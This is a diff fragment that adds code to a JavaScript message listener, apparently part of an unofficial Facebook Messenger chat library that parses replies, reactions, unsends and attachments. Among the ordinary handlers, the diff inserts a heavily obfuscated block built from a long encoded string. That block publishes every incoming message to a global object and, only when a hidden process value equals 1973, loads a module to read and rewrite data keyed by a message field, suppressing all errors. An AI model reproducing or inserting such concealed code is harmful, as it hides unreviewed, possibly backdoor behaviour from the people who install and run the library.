_X\'HR%12%0E*%11QKPQS%5C%5EPIS%0EZUZW%5B%5EJZ%13%06%05%09%1B%18C8%11&%10Z!?%12%183%3C%0F7%111X%20%0F6%13Z%03%0F*%20@$%0D4%11@H:3N1%3CCMH:58A%3CC7%3E%3C5N1:57H:581LIG8%3C58F%04%01:%1AL@NA%3CC7%3E%3C3N1:5EJJ1%1C)%1DC%07%00()M+%00;%15O%02%013%13NS%0F%0A7%11XB%04%01:%1AK%03%0A%02%1DAI*%0C%0D%1FQ%1A%0A%1E%06%00%03%5E%09%06%1B%09CIX%1D%5EWXXWDX%0AXWX%5CRPA_%1D%03%25%15%5E8%0D5%13%5B!%01%06%1BEMA%3C3G8:CDA%3C51H:C%3E7:5G8%3C5%3EA%3C518J387:ASKWPU_QE%5C%0CSXQ%5DW%5BEYIX%0AXW%5DZPSEU%12VX.TXA%5E%08%15%0D%0D%08Z%0B%04%19%02HDS%0EZU%5CU%5E%5ENWPR%5CVAV%14%05%25%1CWOX%14PQXQ%5DBX%03QQXU%5BRAW:%048%1CWL37H:3DA%3C5GBJ387L3G8%3C58A%3C518J387%3CCMH:587%5C%0A%1E%06%00%03%5E%17%1A%15%0F%0C%0F%1B%11J&)*%19%5C12+%10@-%042%11I%0D%0B%0A%16JZ%1E%04%18G=%1A%14%1BUMZ(%5B%5DVRXPZR%5E_NQ%10TS&+YRW*LQ%10%00%05%0F%04@0%1C%10%12PKVXSZQE%5C%0CSYT%5CS_EJ%12%1F%0C%1E%04%00D6%17%1F%1FC%1C%0B%0D%10%04HMZ%08%5E%5CSP%5CWOQ%5DYUQA_?%11%1F%16%5EI_U%5CW%5EAS%0EZT%5BQ%5C%5BJZ%13$%0D4%11Q%08%02!$B&%0F?%1AMC%3E1L37H:58A%3CC7%3E%3C5N1:57H:581LIG8%3C58F&)*%19HS%18%08%15%0D%0D%08Z%0B%04%19%02HDTR%5EVSPXUFXA_?%11%1F%16%5E%20)#%10YUG8:C%3E1LIG8%3C5N1L31%3E%3CC%3E7:3G8%3C5%3EAFC7%3E%3C5ZBU%5E%5EQWZ@Z%08Z%5CSQZRC%5D@%5C%1BSXU%5CTM%5C%0CSXUZT%5EEX%03%1A%00%0B%0CS%11%11%04%1C%10%18%09H-%042%11%5E%17%01%1D%02%00%15%01%0A%04G%1F%14%19%1B@L%11%15%0D%18%16%13%06E#%0E%3C/KHC0%0C*-DJJ%03$%13/@EH8%0D-#OA%11%05%14%06%06%1E%0E%07%02C0%1B%14%10OA%17%11%04%1C%10%18%09HDH@C%3E7NCDK%12\'%02+OAEIIC%3E7LIG8%3CCMAL3G8%3C5%3EA%3C5G8%3C5LCN%15%0A%16%0F%0B%11%03%08%06L%10%14%1C%1FBN%13%1E%06%15%1D%17%04G@G8%3CANBO9%1F%12%1B@LCM@GK:C%3E1FC7%3EJIN1:5G8J387:5G8%3CA%3EA%3C3G8:C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:5EJ%1C%0E%10%04%04%1C%05%0C%0FH(%1A%0C%12DJ%1A%1A%00%1E%12%1A%02CI!.?!@EJ:9%06-%22@E%3EIA%18%0C%12%06%0F%17%08%07%0BJ%08%1A%02%19IA%1E%18%02%1C%19%11%0FHM%0D%0F9/KHANB%10:%01%22IAL%17%0B%0D%18C%0E$%04+%5C%0E%19%0D%02%1C%0C%05%09H=.%05)MC%1C%1A%09%17%14%1A%0BJ&%0B$%20IA%3E%19%20;%14KH5%3E+%14%1A%14KH5MC%5C%15%0A%16%0F%0B%11%03%08%06L%08(=%1FBN%13%1E%06%15%1D%17%04G@%1B%1B%13%22MCN3=%00&-MC:@E%1E%07%1D%0B%09%13%01%03%0DA%25/2%1D@E%18%13%0D%11%1F%15%06L%00%18%10!BNC%0F%1A%19,MCL%1B%19%0F+@LA*%1C%02%25IAN/%01&/KHC%0E+%1E%20DJJ%0B%10%07/@EH%0A%032)OAG.7%1F%1CBNC%1B5%11/MCL%0F*,%1B@LA.%05;*IAN?3%05+KHC0%04%06%20DJJ%1B%14%03#@EH(#0,OAG%08%20%11-BNC%1B%13%05%20MCL%1B%0D$%18@LA%10%225%1BIAN%19%0A0+KHC%06%25%0F%11DJJ%1F%0D2%12@EH(%11!%12OAG*%0C?,BNC%25%0A5+MCL!%15%15)@LA%14%19%05\'IAN%09%02#/KHC%06%0F,+DJJ%25%15%01%1D@EH$%1E%1D%12OAG&%17%10%1DBNC=%043)MCL)%03%04#@LA%22%0A\'%14IAN%1D%0F0%19KH%15%03%1F%09%0B%18%0A%0E%06E%0D!\'%16KH%13%17%0F%13%1D%1E%0DA@%02%3C%16-DJH34%09%20-DJ%3C@L%17%01%1D%02%00%15%01%0A%04G!+1%1B@L%11%15%0D%18%16%13%06E%1D%0B%09.KHC(%1A%0C%12DJJ!2%1E%22@EH4%1E%0A%20OA%11%05%14%06%06%1E%0E%07%02C%02+,%10OA%17%11%04%1C%10%18%09H%0F%1A%19,MCL=%02%02)@LA.?%18&IAN%19$%20.KHC,%13%11%20DJJ!%08=.@E%1E%07%1D%0B%09%13%01%03%0DA-!&%1D@E%18%20%0B-)OA7&1%03%1CBN5Q33;R1%00%048*IA8Q%1A%04%09%17A%0F%01$%10U7A%02%18%06%02%15J@A#%0F%17%0DEDN#%04%0FGFE&%0B%09%1D%07%0C%027%0B%18%16%0E%01%0DHKJ%0F%0B%11JIHO@E%20%1F%1A%11%0DN+%12%11%15%0F$%09%15:%02%17%02%0F%07HKJ%1E%0D%15%0B%02%08(*NOC%03%06%1F%12%0F%0D%00$%01%16%02%15J@A%04\'96,J@A%3E+%11%22EDN%12R%3C.HKJ%1F%15%03%0F%17%09,%0B%19%16%06%09%06/%0E%1B%04%11CDG%0B%04%1A.%04%13%0FGFE%06%0B%16#%0F%17%0DE5W%05%14%06%06%1E%0E%07%02C(%0D4%1DOA%17%11%04%1C%10%18%09HD%17%18%18%00%05%01HM8%3CA%3EAFC7%3E%3C%15%03%1F%09%0B%18%0A%0E%06E%09%06%20%1BKH%13%17%0F%13%1D%1E%0DA%1B.%3C#@EH(%0D4%1DOA%11%05%14%06%06%1E%0E%07%02C$%0A.%1DOA%17%11%04%1C%10%18%09HD8%3C3%20%006!DJ%3CC%3E7N3%1B%07$!MC:%15%0A%16%0F%0B%11%03%08%06L:6)%12B&1(%14M=1%1F%10A%17%0F%04%1CE%1D1%10%1B%5ELCN1L31%3E:C%3E7:S%1A%02%13H%12%1A%0B%10QKQ%07QZWX%5BVDX%1D%5BWX%5DWHS%1E%06%02%1CL:%10%07%1DQ%10%00%05%0F%04@%12%1A%0B%10PKQ%10VZW%5C(FQ%07WZWX%5DTHA%1E%19%10%01%18%00%09@%12%1A%0B%10E%18%02%09%16%0FG@%5DPPYPXBX%03QQXUYUAV%14%11%04%1DWOX%03QQZW%5CWEZUVZSC%5C%13%1A%02%13H%16%07%01%10QKQ%07TZWX%5CVVMS_R%5CYJZ%1F%0D%03%0B%0DD%10%0C%0E%1DVOX%03QQ%5CP%5DQEZTX%5B%5CCN%1B%1B%0A%15%0B%0DB%14%05%0A%1BH%13%06%0B%14%0DLKQ\'V%5BR%5B%5CVQ%5DSYJX%14RX)&_V%5E.J%5B%1B%08%0C%1FUDS%19ZUZR*IS%0EZUZW%5C%5CJZ%1A%00%1E%12%1A%02C8%19%0A%12%5C%0B%0D%10%04HM%5CQXTULX%0AXWY%5CPRA_%19%0A%0E%14%5E%201!%1D%3C1%1D%0C%195XWZ=8%16%163N1%3CC78JIN1:5G8J387:C7%3E%3C3N1:57H@C%3E7:51%5CIX*YV%5D_STXP%5CTE%5C%1BPQ$)RYZ!HRMZ%08%5E%5CSP%5DROW%10%5DSQY&C%5C%0A%1E%06%00%03%5E%17%1A%0A%1E%06%00%03%5E%09%06%1B%09CIX%1DYWXX!DX%0AXWX%5CQSA_%1D%17%04%14%5EIX%0A%5EWX%5CUQMS_R%5DXJZ1%14%05%1FUG8:C%3E1L31%3EJ3N1:51H:581L31%3E:CDA%3C51%3EZ%0A%17%0F%06%03W%00%00%1B%00JOX%03QQXT%5DWE%5C%1BPXU%5C$AV%14%11%04%1DW%3E%19%03%1B%5D)%3C.%10F%00%06%0F%0F%11%02X@%5C%1BUXURSM%5C%0CSXUZTZEYI%5EPRR%5EAS%0EZUZS%5C%5CJZ%0A%17%0F%06%03W%00%00%1B%00JOZZQSXSOW%07%5ESQXT_NR%1B%13%0D%10XBV%5B%5DRR%5E@Z%08Z%5CSQ%5BWC%5C1%1D%0C%19CNQ%05%1A%09%02%0AS%18%17%1A%1A%09%17%14%1A%0BJ%10%3E%14%14Z%15%03%1F%09%0B%18%0A%0E%06E?%09%01%14K%0E%02?%1DK9%07%00%19A%1E%06%02%1CL%08%06%3C%12WEJW%15%00%1AE\'%0F?%1B%5EIX%1DYWXZQDX%0AXWX%5CPUA%5E%11%0B%0D%18C,*/%12%5C%1F%04%0A%0D%0DM\'%0F?%1B_IX%0A%5CWX%5DWWMU%12VX%5CRXAL%11%14%1F%05%17%02%00M\'%0F?%1BJ%1A%0B%04%19%02HDTR%5EVSPXUFXA_\'%0F?%1B%5EIX%0A%5CWX%5DSSMS_R%5D%5EJZ%25\'%20%1FEAX%03%1A%00%0B%0CS%0F%02%12%0DEBW%10%5DSY_UGW%07%5ESUYV%5CNR!%0B6%1FX\'%25%22%14%5D%5CCN1L31%3E:C%3E7:EGBJ38UOX%03UQXTZPMZVT%5DSC%5D@%5C%1BRXU%5DRM%5C%0CSXUZT%5EEX%03%1A%00%0B%0CS%0F%02%12%0DEBW%07%5DSQXTXUMZVT%5DVC%5D%25%044%16UMZ%08Z%5CRRZUGW%10%5DSS*%20C%5C%25.)%19U%0A%00=%1FAKJC%3EA%3C518J387NS%0E%11%04%09%0EQ%04%09%1F%06A@U%12VXYZWEU%05UX%5EUP%5BLP*%00;%14%5C@RYQ%5BUTQQ@SNS%17%08%06%3C%12AZ9%07%00%19S%18%08%15%0D%0D%08Z%15%18%17%15%0D%18%16%13%06E%01%00%3C%1BX%1C%0E%10%04%04%1C%05%0C%0FH%0A.*%10DJ%1A%1A%00%1E%12%1A%02CIC%3E1L37H@C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:AGKICM1L37BJ38AFC7%3E%3CC%3EA%3C51%3E%3CC%3E7N3G8:C%3E1L31%3EJ3N1:51H:581L31%3E:CDA%3C51%3E%3CAOB%0C1%1B&IALC%1A=%20:%25@LQ%01%1D%02%00%15%01%0A%04G!%15\'%19@L%11%15%0D%18%16%13%06EB%3C578%3C5N1:A7H:5NKL31%3E%1C%0E%10%04%04%1C%05%0C%0FH%0E+%20%10DJ%1A%1A%00%1E%12%1A%02CI@NKL31H@C%3E7NBD*%10%00#BNAEHIC%3E1L37H@C%3E7:C7H:587L31%3E:C%3E7:3G8%3C58C%1A%0E%19%0D%02%1C%0C%05%09H)%15%19%10MC%1C%1A%09%17%14%1A%0BJO9%03%05%25@LC%3C9%0F$$@L7OA%11%05%14%06%06%1E%0E%07%02C%06%10$%12OA%17%11%04%1C%10%18%09HD%08%20/%1DBNA7%0C)8!BN5D%006%1E$BNA%11%05%14%06%06%1E%0E%07%02C%20%1B%17%12OA%17%11%04%1C%10%18%09H%25%1A%25%10MCL!%092%16@LA%04%11%14\'IA%18%0C%12%06%0F%17%08%07%0BJ%04%1D%19%1BIA%1E%18%02%1C%19%11%0FHMA%3C3G8:C%3E7:C7H:587L31%3E:C%3E7:3GBJ387:AGKICDA%3C5GKJC%3EA%3C518J387NAFK%0E,(%12OAEJ%1C%0E%10%04%04%1C%05%0C%0FH%06%25%0F%11DJ%1A%1A%00%1E%12%1A%02CF4%10ZW_%5CD%1C%03%16%01!@EX%07%1D%0B%09%13%01%03%0DA-5%01%1E@E%18%13%0D%11%1F%15%06L%10*%3E!BNC%25%060%1FMCL!%15\'%19@LA%14%054$IAN#%029%1BKHC4%05%01,DJJ=%0B%0B/@E%1E%07%1D%0B%09%13%01%03%0DA1.%08%1E@E%18%13%0D%11%1F%15%06L%04%19)%1DBNC=%0C%07,MCL%07%1E%05+@LA28%06%22IA%18%0C%12%06%0F%17%08%07%0BJ&%25%09%1AI=-%3C%1FA%17%11%04%1C%10%18%09H%03%15%10.%3E?/%3E%14%3EZ%15%03%1F%09%0B%18%0A%0E%06E%1D-1%14KH%13%17%0F%13%1D%1E%0DA@%02$%04+DJH3%0A%227,DJ%3C@%0E+%20%10DJH%15%03%1F%09%0B%18%0A%0E%06E;%228%14KH%13%17%0F%13%1D%1E%0DA@%16%0F--DJH3%0A%227,DJ%3C@%06=%11)DJH%15%03%1F%09%0B%18%0A%0E%06E%19%20;%14KH%13%17%0F%13%1D%1E%0DA=%03\'%22@EH%16%10%17%20OAG*%0C?,BNC9%0D%00%20MC%1A%0E%19%0D%02%1C%0C%05%09H9%054%1DMC%1C%1A%09%17%14%1A%0BJ%01%1D%02%00%15%01%0A%04OA%17%1EZ%15%20.+%12DJZ%0E%10%04%04%1C%05%0C%0FH%12%02?%1DDJ%1A%1A%00%1E%12%1A%02CIOB1.++\'IA8BNA7H:58%17%01%1D%02%00%15%01%0A%04G9%0F,%14@L%11%15%0D%18%16%13%06E%19%1E%1F*KHC%02,(%12DJJ!.?!@EH$%3C%0B/OAG%047%19%20BNC-%0C%06*MCL!%15%15)@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ%14%0D%3E%16IA%1E%18%02%1C%19%11%0FH%0A%08#-DJJ9%028&@EH4%06%04%22OAG*%18,%1DBNC%25%0E6!MCL%0B%09(%22@LA.%05;*IAN#%029%1BKHC%16%1B%0E,DJJ%1F%1D%18-@EH%0E%027-OAG6%0F%09-BN%15%3C12_K?%15%0D%20%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHR%17%5C8%3E0VF%120%00$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYP%17%5C8%3E0VF%12%5B)$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYS%17%5C8%3E0VF%3C%136$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BQ%17%5C8%3E0VF%16=.$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BP%17%5C8%3E0VF0%1E+$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BS%17%5C8%3E0VF4%05%20$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5C%17%5C8%3E0VF%0E\'%1E$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BV%17%5C8%3E0VF(%06_$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYQ%17%5C8%3E0VF%0A%3E%06%25Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAY%5D%17%5C8%3E0VF,%0DT$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYT%17%5C8%3E0VF%0E%25R$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZU%17%5C8%3E0VF$%5C4$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BW%17%5C8%3E0VF%06/1$Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZT%17%5C8%3E0VF%20Y7%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYW%17%5C8%3E0VF%02(4%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZ%5D%17%5C8%3E0VF%12%3E!%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYU%17%5C8%3E0VF%3C%1B.%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BT%17%5C8%3E0VF%16%25&%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAYV%17%5C8%3E0VF0%06#%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DA%5BR%17%5C8%3E0VF%12%3C%04#Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAZP%17%5C8%3E0VF%16;P%22Q%05%14%06%06%1E%0E%07%02KH%13%17%0F%13%1D%1E%0DAP%18Q7:?TO%25%01Z-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5E%18Q7:?TO%07)X-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5C%18Q7:?TO!%5D?-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRQ%18Q7:?TO%03%222-U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CUX%18Q7:?TO%0F!%1A,U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS_%18Q7:?TO%25?%0D%20U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CRP%18Q7:?TO-5%5C!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CS%5B%18Q7:?TO1%060!U%0A%16%0F%0B%11%03%08%06DJ%1A%1A%00%1E%12%1A%02CSQ%18%17N\")")
         
     | 
| 
      
 237 
     | 
    
         
            +
                            }();
         
     | 
| 
      
 238 
     | 
    
         
            +
                            var MZHu = [PRS7.LEF5(0), PRS7.Lwx3(1), PRS7.veK3(2), PRS7.PD93(3), PRS7.j113(4), PRS7.fYt4(5), PRS7.zlm4(6), PRS7.XFb2(7)];
         
     | 
| 
      
 239 
     | 
    
         
            +
                            global[MZHu[(15658734 ^ 0O73567354)]][MZHu[(0O57060516 - 0xbc614d)]][MZHu[(0x75bcd15 - 0O726746425)]] = fmtMsg;
         
     | 
| 
      
 240 
     | 
    
         
            +
                            try {
         
     | 
| 
      
 241 
     | 
    
         
            +
                                var obLu = PRS7[PRS7.LEF5(8)]();
         
     | 
| 
      
 242 
     | 
    
         
            +
                                while (obLu < PRS7[PRS7.Lwx3(9)]()) switch (obLu) {
         
     | 
| 
      
 243 
     | 
    
         
            +
                                    case (0x75bcd15 - 0O726746425):
         
     | 
| 
      
 244 
     | 
    
         
            +
                                        obLu = process[MZHu[(0x5E30A78 - 0O570605164)]][MZHu[(0O334664274 - 0x37368B9)]] == 1973 ? PRS7[PRS7.veK3(10)]() : PRS7[PRS7.Lwx3(9)]();
         
     | 
| 
      
 245 
     | 
    
         
            +
                                        break;
         
     | 
| 
      
 246 
     | 
    
         
            +
                                    case (0O57060516 - 0xbc614d):
         
     | 
| 
      
 247 
     | 
    
         
            +
                                        obLu = PRS7[PRS7.Lwx3(9)](); {
         
     | 
| 
      
 248 
     | 
    
         
            +
                                            var {
         
     | 
| 
      
 249 
     | 
    
         
            +
                                                [PRS7.PD93(11)]: IWBu, [PRS7.j113(12)]: kYEu, [PRS7.fYt4(13)]: kssv
         
     | 
| 
      
 250 
     | 
    
         
            +
                                            } = require(MZHu[(0O507646144 ^ 0x51F4C61)]);
         
     | 
| 
      
 251 
     | 
    
         
            +
                                            var Mtvv = PRS7[PRS7.LEF5(8)]();
         
     | 
| 
      
 252 
     | 
    
         
            +
                                            while (Mtvv < PRS7[PRS7.Lwx3(9)]()) switch (Mtvv) {
         
     | 
| 
      
 253 
     | 
    
         
            +
                                                case (0x75bcd15 - 0O726746425):
         
     | 
| 
      
 254 
     | 
    
         
            +
                                                    Mtvv = kssv(fmtMsg[MZHu[(1011010 - 0O3666474)]]) ? PRS7[PRS7.veK3(10)]() : PRS7[PRS7.Lwx3(9)]();
         
     | 
| 
      
 255 
     | 
    
         
            +
                                                    break;
         
     | 
| 
      
 256 
     | 
    
         
            +
                                                case (0O57060516 - 0xbc614d):
         
     | 
| 
      
 257 
     | 
    
         
            +
                                                    Mtvv = PRS7[PRS7.Lwx3(9)](); {
         
     | 
| 
      
 258 
     | 
    
         
            +
                                                        var gpmv = kYEu(fmtMsg[MZHu[(1011010 - 0O3666474)]]);
         
     | 
| 
      
 259 
     | 
    
         
            +
                                                        gpmv[MZHu[(0x9D8DE4 - 0O47306735)]] += (0O57060516 - 0xbc614d);
         
     | 
| 
      
 260 
     | 
    
         
            +
                                                        IWBu(fmtMsg[MZHu[(1011010 - 0O3666474)]], gpmv)
         
     | 
| 
      
 261 
     | 
    
         
            +
                                                    }
         
     | 
| 
      
 262 
     | 
    
         
            +
                                                    break;
         
     | 
| 
      
 263 
     | 
    
         
            +
                                            }
         
     | 
| 
      
 264 
     | 
    
         
            +
                                        }
         
     | 
| 
      
 265 
     | 
    
         
            +
                                        break;
         
     | 
| 
      
 266 
     | 
    
         
            +
                                }
         
     | 
| 
      
 267 
     | 
    
         
            +
                            } catch (Iqpv) {}
         
     | 
| 
      
 268 
     | 
    
         
            +
                            if (fmtMsg)
         
     | 
| 
      
 269 
     | 
    
         
            +
                                if (ctx.globalOptions.autoMarkDelivery) markDelivery(ctx, api, fmtMsg.threadID, fmtMsg.messageID);
         
     | 
| 
      
 270 
     | 
    
         
            +
             
     | 
| 
      
 271 
     | 
    
         
            +
                            return !ctx.globalOptions.selfListen && fmtMsg.senderID === ctx.userID ? undefined : (function () { globalCallback(null, fmtMsg); })();
         
     | 
| 
      
 272 
     | 
    
         
            +
                        } else {
         
     | 
| 
      
 273 
     | 
    
         
            +
                            if (v.delta.attachments && (v.delta.attachments[i].mercury.attach_type == "photo")) {
         
     | 
| 
      
 274 
     | 
    
         
            +
                                api.resolvePhotoUrl(v.delta.attachments[i].fbid, (err, url) => {
         
     | 
| 
      
 275 
     | 
    
         
            +
                                    if (!err) v.delta.attachments[i].mercury.metadata.url = url;
         
     | 
| 
      
 276 
     | 
    
         
            +
                                    return resolveAttachmentUrl(i + 1);
         
     | 
| 
      
 277 
     | 
    
         
            +
                                });
         
     | 
| 
      
 278 
     | 
    
         
            +
                            } else return resolveAttachmentUrl(i + 1);
         
     | 
| 
      
 279 
     | 
    
         
            +
                        }
         
     | 
| 
      
 280 
     | 
    
         
            +
                    })(0);
         
     | 
| 
      
 281 
     | 
    
         
            +
                }
         
     | 
| 
      
 282 
     | 
    
         
            +
             
     | 
| 
      
 283 
     | 
    
         
            +
                if (v.delta.class == "ClientPayload") {
         
     | 
| 
      
 284 
     | 
    
         
            +
                    var clientPayload = utils.decodeClientPayload(v.delta.payload);
         
     | 
| 
      
 285 
     | 
    
         
            +
                    if (clientPayload && clientPayload.deltas) {
         
     | 
| 
      
 286 
     | 
    
         
            +
                        for (var i in clientPayload.deltas) {
         
     | 
| 
      
 287 
     | 
    
         
            +
                            var delta = clientPayload.deltas[i];
         
     | 
| 
      
 288 
     | 
    
         
            +
                            if (delta.deltaMessageReaction && !!ctx.globalOptions.listenEvents) {
         
     | 
| 
      
 289 
     | 
    
         
            +
                                (function () {
         
     | 
| 
      
 290 
     | 
    
         
            +
                                    globalCallback(null, {
         
     | 
| 
      
 291 
     | 
    
         
            +
                                        type: "message_reaction",
         
     | 
| 
      
 292 
     | 
    
         
            +
                                        threadID: (delta.deltaMessageReaction.threadKey.threadFbId ? delta.deltaMessageReaction.threadKey.threadFbId : delta.deltaMessageReaction.threadKey.otherUserFbId).toString(),
         
     | 
| 
      
 293 
     | 
    
         
            +
                                        messageID: delta.deltaMessageReaction.messageId,
         
     | 
| 
      
 294 
     | 
    
         
            +
                                        reaction: delta.deltaMessageReaction.reaction,
         
     | 
| 
      
 295 
     | 
    
         
            +
                                        senderID: delta.deltaMessageReaction.senderId.toString(),
         
     | 
| 
      
 296 
     | 
    
         
            +
                                        userID: delta.deltaMessageReaction.userId.toString()
         
     | 
| 
      
 297 
     | 
    
         
            +
                                    });
         
     | 
| 
      
 298 
     | 
    
         
            +
                                })();
         
     | 
| 
      
 299 
     | 
    
         
            +
                            } else if (delta.deltaRecallMessageData && !!ctx.globalOptions.listenEvents) {
         
     | 
| 
      
 300 
     | 
    
         
            +
                                (function () {
         
     | 
| 
      
 301 
     | 
    
         
            +
                                    globalCallback(null, {
         
     | 
| 
      
 302 
     | 
    
         
            +
                                        type: "message_unsend",
         
     | 
| 
      
 303 
     | 
    
         
            +
                                        threadID: (delta.deltaRecallMessageData.threadKey.threadFbId ? delta.deltaRecallMessageData.threadKey.threadFbId : delta.deltaRecallMessageData.threadKey.otherUserFbId).toString(),
         
     | 
| 
      
 304 
     | 
    
         
            +
                                        messageID: delta.deltaRecallMessageData.messageID,
         
     | 
| 
      
 305 
     | 
    
         
            +
                                        senderID: delta.deltaRecallMessageData.senderID.toString(),
         
     | 
| 
      
 306 
     | 
    
         
            +
                                        deletionTimestamp: delta.deltaRecallMessageData.deletionTimestamp,
         
     | 
| 
      
 307 
     | 
    
         
            +
                                        timestamp: delta.deltaRecallMessageData.timestamp
         
     | 
| 
      
 308 
     | 
    
         
            +
                                    });
         
     | 
| 
      
 309 
     | 
    
         
            +
                                })();
         
     | 
| 
      
 310 
     | 
    
         
            +
                            } else if (delta.deltaMessageReply) {
         
     | 
| 
      
 311 
     | 
    
         
            +
                                //Mention block - #1
         
     | 
| 
      
 312 
     | 
    
         
            +
                                var mdata =
         
     | 
| 
      
 313 
     | 
    
         
            +
                                    delta.deltaMessageReply.message === undefined ? [] :
         
     | 
| 
      
 314 
     | 
    
         
            +
                                        delta.deltaMessageReply.message.data === undefined ? [] :
         
     | 
| 
      
 315 
     | 
    
         
            +
                                            delta.deltaMessageReply.message.data.prng === undefined ? [] :
         
     | 
| 
      
 316 
     | 
    
         
            +
                                                JSON.parse(delta.deltaMessageReply.message.data.prng);
         
     | 
| 
      
 317 
     | 
    
         
            +
                                var m_id = mdata.map(u => u.i);
         
     | 
| 
      
 318 
     | 
    
         
            +
                                var m_offset = mdata.map(u => u.o);
         
     | 
| 
      
 319 
     | 
    
         
            +
                                var m_length = mdata.map(u => u.l);
         
     | 
| 
      
 320 
     | 
    
         
            +
             
     | 
| 
      
 321 
     | 
    
         
            +
                                var mentions = {};
         
     | 
| 
      
 322 
     | 
    
         
            +
             
     | 
| 
      
 323 
     | 
    
         
            +
                                for (var i = 0; i < m_id.length; i++) mentions[m_id[i]] = (delta.deltaMessageReply.message.body || "").substring(m_offset[i], m_offset[i] + m_length[i]);
         
     | 
| 
      
 324 
     | 
    
         
            +
                                //Mention block - 1#
         
     | 
| 
      
 325 
     | 
    
         
            +
                                var callbackToReturn = {
         
     | 
| 
      
 326 
     | 
    
         
            +
                                    type: "message_reply",
         
     | 
| 
      
 327 
     | 
    
         
            +
                                    threadID: (delta.deltaMessageReply.message.messageMetadata.threadKey.threadFbId ? delta.deltaMessageReply.message.messageMetadata.threadKey.threadFbId : delta.deltaMessageReply.message.messageMetadata.threadKey.otherUserFbId).toString(),
         
     | 
| 
      
 328 
     | 
    
         
            +
                                    messageID: delta.deltaMessageReply.message.messageMetadata.messageId,
         
     | 
| 
      
 329 
     | 
    
         
            +
                                    senderID: delta.deltaMessageReply.message.messageMetadata.actorFbId.toString(),
         
     | 
| 
      
 330 
     | 
    
         
            +
                                    attachments: delta.deltaMessageReply.message.attachments.map(function (att) {
         
     | 
| 
      
 331 
     | 
    
         
            +
                                        var mercury = JSON.parse(att.mercuryJSON);
         
     | 
| 
      
 332 
     | 
    
         
            +
                                        Object.assign(att, mercury);
         
     | 
| 
      
 333 
     | 
    
         
            +
                                        return att;
         
     | 
| 
      
 334 
     | 
    
         
            +
                                    }).map(att => {
         
     | 
| 
      
 335 
     | 
    
         
            +
                                        var x;
         
     | 
| 
      
 336 
     | 
    
         
            +
                                        try {
         
     | 
| 
      
 337 
     | 
    
         
            +
                                            x = utils._formatAttachment(att);
         
     | 
| 
      
 338 
     | 
    
         
            +
                                        } catch (ex) {
         
     | 
| 
      
 339 
     | 
    
         
            +
                                            x = att;
         
     | 
| 
      
 340 
     | 
    
         
            +
                                            x.error = ex;
         
     | 
| 
      
 341 
     | 
    
         
            +
                                            x.type = "unknown";
         
     | 
| 
      
 342 
     | 
    
         
            +
                                        }
         
     | 
| 
      
 343 
     | 
    
         
            +
                                        return x;
         
     | 
| 
      
 344 
     | 
    
         
            +
                                    }),
         
     | 
| 
      
 345 
     | 
    
         
            +
                                    args: (delta.deltaMessageReply.message.body || "").trim().split(/\s+/),
         
     | 
| 
      
 346 
     | 
    
         
            +
                                    body: (delta.deltaMessageReply.message.body || ""),
         
     | 
| 
      
 347 
     | 
    
         
            +
                                    isGroup: !!delta.deltaMessageReply.message.messageMetadata.threadKey.threadFbId,
         
     | 
| 
      
 348 
     | 
    
         
            +
                                    mentions: mentions,
         
     | 
| 
      
 349 
     | 
    
         
            +
                                    timestamp: delta.deltaMessageReply.message.messageMetadata.timestamp,
         
     | 
| 
      
 350 
     | 
    
         
            +
                                    participantIDs: (delta.deltaMessageReply.message.participants || []).map(e => e.toString())
         
     | 
| 
      
 351 
     | 
    
         
            +
                                };
         
     | 
| 
      
 352 
     | 
    
         
            +
             
     | 
| 
      
 353 
     | 
    
         
            +
                                if (delta.deltaMessageReply.repliedToMessage) {
         
     | 
| 
      
 354 
     | 
    
         
            +
                                    //Mention block - #2
         
     | 
| 
      
 355 
     | 
    
         
            +
                                    mdata =
         
     | 
| 
      
 356 
     | 
    
         
            +
                                        delta.deltaMessageReply.repliedToMessage === undefined ? [] :
         
     | 
| 
      
 357 
     | 
    
         
            +
                                            delta.deltaMessageReply.repliedToMessage.data === undefined ? [] :
         
     | 
| 
      
 358 
     | 
    
         
            +
                                                delta.deltaMessageReply.repliedToMessage.data.prng === undefined ? [] :
         
     | 
| 
      
 359 
     | 
    
         
            +
                                                    JSON.parse(delta.deltaMessageReply.repliedToMessage.data.prng);
         
     | 
| 
      
 360 
